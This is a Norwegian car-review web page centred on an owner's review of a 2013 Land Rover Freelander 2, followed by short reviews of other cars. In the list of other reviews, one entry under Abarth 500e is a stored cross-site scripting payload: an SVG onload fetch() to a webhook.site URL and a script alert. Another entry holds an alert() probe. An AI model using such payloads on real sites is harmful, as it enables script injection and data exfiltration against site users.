2013 Land Rover Freelander 2 SD4 2,2 HSE Aut. Sport Utility Vehicle Diesel
Vurdert av JanMagneKarlsen
Feilen Land Rover gjorde i 2007, var at de kalte den nye Freelanderen 2 med samme navn som fadesen de lagde første gang med samme navn. Dette er en helt annen bil og har god kvalitet. Bare smårusk som de har alle med biler. Nydelig å kjøre og veldig driftsikker. Jeg, som mange eiere av andre merker, måtte bytte turbo før bilen hadde rundet 60 000 km. Det hevdes det kommer av den norske økodieselen som er påbudt innblandet i diselen man kjøper. Turboen på min forrige Freelander 2 hadde gått 350 000 km uten problem da jeg solgte den. Dette er en billig og fantastisk bil å kjøpe brukt om den er tatt vare på. Dette er de bilene jeg har hatt minst utgifter og plager med i min 47 år som bileier.
Flere vurderinger fra samme generasjon
Land Rover Freelander (2013)
Range Rover feel men til en lavere pris. Fantastisk på vei og ii terreng, oversiktlig fra den høye førersiden. Bra surroundanlegg og touch skjerm.
Land Rover Freelander (2010)
Jeg har nå hatt 97biler opp igjennom mine år. Dette er den jeg har hatt lengst, og bare det sier noe. Denne bilen kan brukes til ALT. Kjøre i skogen, på fjellet, trekke tung campingvogn, biltralle
Land Rover Freelander (2008)
Mer følelse av ekte 4x4, enn tilsvarende CR-V og Rav4 o.l. Kompakt, stille, sterk og solid.
Land Rover Freelander (2007)
Har hatt bilen i 11 år og er veldig godt fornøyd.
Land Rover Freelander (2007)
Bilen er meget god og kjøre og har en frem kommlighet som er helt suveren ,byttet fra volvo xc90 til denne og er topp fornøyd
Land Rover Freelander (2006)
Billig å anskaffe, robust, driftsikker, lettskrudd, enkel service. Alt dette medfører en noe gammelmodig men trofast bil.
Land Rover Freelander (2006)
Jeg har hatt bilen i 8 år. Dieselmotoren er god. Det største problemet er elektronikken til motorstyringen samt el. anlegget bakover i bilen. Ut over dette er det en bil jeg trives med.
Flere vurderinger
Aston Martin DB9 GT (2017)
alert("total")
Aston Martin DB9 GT (2017)
totalvurderingtest
Abarth 500e (2024)
Abarth 500e (2024)
Abarth 500e (2024)
xxxfooo4
Abarth 500e (2024)
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://webhook.site/418d388b-4676-4b57-95ba-4330be1ec311')"> <circle cx="50" cy="50" r="40" fill="red"/> </svg> <script>alert(1)</script>
Volvo EX40 (2026)
Dette er ikke en volvo som vi er kjent med volvo. Dårlige seter, umulig å opprettholde 20grader i kupe på vinter, kjapp på gasspedal, men enormt strømforbruk uansett hvordan du prøver å tilpass
Ford Explorer EV (2025)
Kommer nok til å bytte den ut pga den nervøse oppførselen på vinterføre. Utenom dette svarer den godt på alle parametre.
Ford Kuga (2021)
Forbruk. Gir en tier for forbruk langkjøring. 0,44 og forbruk 0,8 med campingvogn, totalvekt 1400 kg(ved tomt batteri). Rekkevidde elektrisk på vinter månedene er fra 20 - 30 km, blandet/bykjøring
Hongqi E-HS9 (2022)
Den er utrolig komfortabel, stille og har en kvalitet som overgår det meste på markedet. Har hatt bilen i 2år nå, å hele familien elsker bilen!
Mercedes-Benz EQC (2022)
Topp komfort og driftsikker.
Polestar 2 (2022)
God kvalitetsfølelse. Gode (frem-) seter. Smart med OTA (oppdateringer over-the-air). Lett å selv restarte system og app etter behov. Pen bil! Praktisk med frunk for elkabler på langtur. (hvorfor h
Mercedes-Benz GLE (2020)
Skuffende å måtte skifte opphengskuler foran på begge sider etter kun 75000 km
BMW 3-Serie (2012)
Hadde det vært et punkt som het eierglede så hadde jeg glatt gitt 10 av 10!! Bilen er vakker og tvers igjennom godt bygget! Nydelig å kjøre og det meste bærer preg av å være bygget med gode mat
MG ZS EV (2022)
Veldig godt fornøyd med bilen på alle måter tatt i betraktning at det var en forholdsvis rimelig bil.
